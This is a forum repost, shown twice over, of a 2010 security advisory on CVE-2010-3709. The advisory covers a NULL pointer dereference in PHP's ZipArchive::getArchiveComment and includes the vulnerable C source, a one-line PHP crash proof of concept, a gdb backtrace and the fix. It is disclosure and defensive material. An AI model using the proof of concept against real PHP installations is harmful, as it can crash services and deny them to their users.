hmezkcq
09-12-2011, 08:32 PM
Arrow Topic : PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference
Arrow SecurityAlert : 90
CVE : CVE-2010-3709
Arrow SecurityRisk : High Security Risk High (About)
Arrow Remote Exploit : No
Arrow Local Exploit : Yes
Arrow Exploit Given : Yes
Arrow Credit : Maksymilian Arciemowicz
Arrow Date : 05.11.2010
Arrow Affected Software : PHP 5.3.3/5.2.14
FREEWARE Network Scanner Security Events Montoring
Detect network vulnerabilities. Freeware dld! Monitor event logs for security. Dld 30-day eval!
Arrow Advisory Text :
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 14.09.2010
- - Pub.: 05.11.2010
CVE: CVE-2010-3709
CWE: CWE-476
Status: Fixed in CVS
Affected Software:
- - PHP 5.3.3
- - PHP 5.2.14
Original URL:
http://securityreason.com/achievement_securityalert/90
- --- 0.Description ---
ZipArchive enables you to transparently read or write ZIP compressed
archives and the files inside them.
ZipArchive::getArchiveComment — Returns the Zip archive comment
string ZipArchive::getArchiveComment ( void )
- --- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) ---
As we can see in
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?re
vision=303622&view=markup
- ---
1945 static ZIPARCHIVE_METHOD(getArchiveComment)
1946 {
1947 struct zip *intern;
1948 zval *this = getThis();
1949 long flags = 0;
1950 const char * comment;
1951 int comment_len = 0;
1952
1953 if (!this) {
1954 RETURN_FALSE;
1955 }
1956
1957 ZIP_FROM_OBJECT(intern, this);
1958
1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) ==
FAILURE) {
1960 return;
1961 }
1962
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
<==== RETURN NULL AND -1
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL
POINTER DEFERENCE HERE
1965 }
- ---
this method return string from zip_get_archive_comment() function. Now we
need see this function,
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_
archive_comment.c?revision=284361&view=markup
- ---
40 ZIP_EXTERN(const char *)
41 zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42 {
43 if ((flags & ZIP_FL_UNCHANGED)
44 || (za->ch_comment_len == -1)) {
45 if (za->cdir) {
46 if (lenp != NULL)
47 *lenp = za->cdir->comment_len;
48 return za->cdir->comment;
49 }
50 else {
51 if (lenp != NULL)
52 *lenp = -1; <===================== -1
53 return NULL; <==================== NULL
54 }
55 }
56
57 if (lenp != NULL)
58 *lenp = za->ch_comment_len;
59 return za->ch_comment;
60 }
- ---
line 52 and 53 should return NULL pointer and (int)-1. In result
RETURN_STRINGL() will be executed with:
RETURN_STRINGL(NULL, -1, 1);
and crash in memcpy(3).
- --- 2. PoC ---
cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Segmentation fault
Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1 0x0000000000679fa8 in _estrndup ()
#2 0x00000000006371e5 in ?? ()
#3 0x00000000006e793a in ?? ()
#4 0x00000000006bec20 in execute ()
#5 0x000000000068b44a in zend_eval_stringl ()
#6 0x000000000068b5c9 in zend_eval_stringl_ex ()
#7 0x000000000072743e in ?? ()
#8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9 0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=> 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0: Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff: Cannot access memory at address 0xffffffff
- --- 3. Fix ---
Fix:
Replace
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1);
to
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 if(comment==NULL) RETURN_FALSE;
1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1);
PHP 5.3:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?vi
ew=log
PHP 5.2:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?vi
ew=log
MDVSA-2010:218
- --- 4. Greets ---
Special thanks for Pierre Joye
sp3x, Infospec, Adam Zabrocki 'pi3'
- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email:
- - cxib {a\./t] securityreason [d=t} com
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJM1GnlAAoJEIO8+dzW5bUwd50QALOLATmkoM NdcAFKIJiWkeVu
Ap7KiWRpEISDNKpEABunmPhbGKx9GQaEnVhpk1geKSqIGNy38U APuIkpocPoMg/i
k4wu9jbXaNHJ+F5wmqpkGN6nTlBbWmji+ZrMErCHC7eCXRfPlF xciHyv/BtXpDN9
77dhOt/mP3sa3sJCRH/SpLhP/VMisqwDpsrltQIwkV+a95b2UO+DLHI9Qb4kx1X6
Q772hyp/pZSR7X+3NTC0oZkd9HFKeIuFciQQG9GsF6psqDnnwaFOb4CnLW x6qECv
ApKADky+VtaxWgQbDM/XxvuNJpxyab2Bxq+mQhY6OZdOMf9idbwHGEPxQOYo53Kn
CgCaItE5YuPmCm348rvGqgmMK8Rjju45KN4jD1mEQ9dE9nq7dO KQoWYOR3qEsOEt
630GIxXpeqs9KGbb4UpU4TG3LMtJSk4cE+O0EBsraxu+0fvrjy eQKKbbxDJvCnNY
kAwz7ygjiF1aduRA3u+ZRtMglELMZ0Fw0ZcvmVMrntv4LgCgPW BPT/Bg6pMI4huL
MP4mNqXQow5+05AX+DIrmvGUjsaq42tPa1I2Ddtj9hJi20TOEC aP+TmePL4669wr
EuYnwIqH3CcdridCJVdtQ2glgNJ7/uYTaBsv4U+rFvxmwNRcds3pA6pc7H1zr34R
7m5AMBscTNQLJ1gkaUYi
=2Ukb
-----END PGP SIGNATURE-----
by hmezkcq
Arrow SecurityAlert : 90
CVE : CVE-2010-3709
Arrow SecurityRisk : High Security Risk High (About)
Arrow Remote Exploit : No
Arrow Local Exploit : Yes
Arrow Exploit Given : Yes
Arrow Credit : Maksymilian Arciemowicz
Arrow Date : 05.11.2010
Arrow Affected Software : PHP 5.3.3/5.2.14
FREEWARE Network Scanner Security Events Montoring
Detect network vulnerabilities. Freeware dld! Monitor event logs for security. Dld 30-day eval!
Arrow Advisory Text :
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 14.09.2010
- - Pub.: 05.11.2010
CVE: CVE-2010-3709
CWE: CWE-476
Status: Fixed in CVS
Affected Software:
- - PHP 5.3.3
- - PHP 5.2.14
Original URL:
http://securityreason.com/achievement_securityalert/90
- --- 0.Description ---
ZipArchive enables you to transparently read or write ZIP compressed
archives and the files inside them.
ZipArchive::getArchiveComment — Returns the Zip archive comment
string ZipArchive::getArchiveComment ( void )
- --- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) ---
As we can see in
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?re
vision=303622&view=markup
- ---
1945 static ZIPARCHIVE_METHOD(getArchiveComment)
1946 {
1947 struct zip *intern;
1948 zval *this = getThis();
1949 long flags = 0;
1950 const char * comment;
1951 int comment_len = 0;
1952
1953 if (!this) {
1954 RETURN_FALSE;
1955 }
1956
1957 ZIP_FROM_OBJECT(intern, this);
1958
1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) ==
FAILURE) {
1960 return;
1961 }
1962
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
<==== RETURN NULL AND -1
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL
POINTER DEFERENCE HERE
1965 }
- ---
this method return string from zip_get_archive_comment() function. Now we
need see this function,
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_
archive_comment.c?revision=284361&view=markup
- ---
40 ZIP_EXTERN(const char *)
41 zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42 {
43 if ((flags & ZIP_FL_UNCHANGED)
44 || (za->ch_comment_len == -1)) {
45 if (za->cdir) {
46 if (lenp != NULL)
47 *lenp = za->cdir->comment_len;
48 return za->cdir->comment;
49 }
50 else {
51 if (lenp != NULL)
52 *lenp = -1; <===================== -1
53 return NULL; <==================== NULL
54 }
55 }
56
57 if (lenp != NULL)
58 *lenp = za->ch_comment_len;
59 return za->ch_comment;
60 }
- ---
line 52 and 53 should return NULL pointer and (int)-1. In result
RETURN_STRINGL() will be executed with:
RETURN_STRINGL(NULL, -1, 1);
and crash in memcpy(3).
- --- 2. PoC ---
cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Segmentation fault
Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1 0x0000000000679fa8 in _estrndup ()
#2 0x00000000006371e5 in ?? ()
#3 0x00000000006e793a in ?? ()
#4 0x00000000006bec20 in execute ()
#5 0x000000000068b44a in zend_eval_stringl ()
#6 0x000000000068b5c9 in zend_eval_stringl_ex ()
#7 0x000000000072743e in ?? ()
#8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9 0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=> 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0: Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff: Cannot access memory at address 0xffffffff
- --- 3. Fix ---
Fix:
Replace
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1);
to
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 if(comment==NULL) RETURN_FALSE;
1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1);
PHP 5.3:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?vi
ew=log
PHP 5.2:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?vi
ew=log
MDVSA-2010:218
- --- 4. Greets ---
Special thanks for Pierre Joye
sp3x, Infospec, Adam Zabrocki 'pi3'
- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email:
- - cxib {a\./t] securityreason [d=t} com
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJM1GnlAAoJEIO8+dzW5bUwd50QALOLATmkoM NdcAFKIJiWkeVu
Ap7KiWRpEISDNKpEABunmPhbGKx9GQaEnVhpk1geKSqIGNy38U APuIkpocPoMg/i
k4wu9jbXaNHJ+F5wmqpkGN6nTlBbWmji+ZrMErCHC7eCXRfPlF xciHyv/BtXpDN9
77dhOt/mP3sa3sJCRH/SpLhP/VMisqwDpsrltQIwkV+a95b2UO+DLHI9Qb4kx1X6
Q772hyp/pZSR7X+3NTC0oZkd9HFKeIuFciQQG9GsF6psqDnnwaFOb4CnLW x6qECv
ApKADky+VtaxWgQbDM/XxvuNJpxyab2Bxq+mQhY6OZdOMf9idbwHGEPxQOYo53Kn
CgCaItE5YuPmCm348rvGqgmMK8Rjju45KN4jD1mEQ9dE9nq7dO KQoWYOR3qEsOEt
630GIxXpeqs9KGbb4UpU4TG3LMtJSk4cE+O0EBsraxu+0fvrjy eQKKbbxDJvCnNY
kAwz7ygjiF1aduRA3u+ZRtMglELMZ0Fw0ZcvmVMrntv4LgCgPW BPT/Bg6pMI4huL
MP4mNqXQow5+05AX+DIrmvGUjsaq42tPa1I2Ddtj9hJi20TOEC aP+TmePL4669wr
EuYnwIqH3CcdridCJVdtQ2glgNJ7/uYTaBsv4U+rFvxmwNRcds3pA6pc7H1zr34R
7m5AMBscTNQLJ1gkaUYi
=2Ukb
-----END PGP SIGNATURE-----
by hmezkcq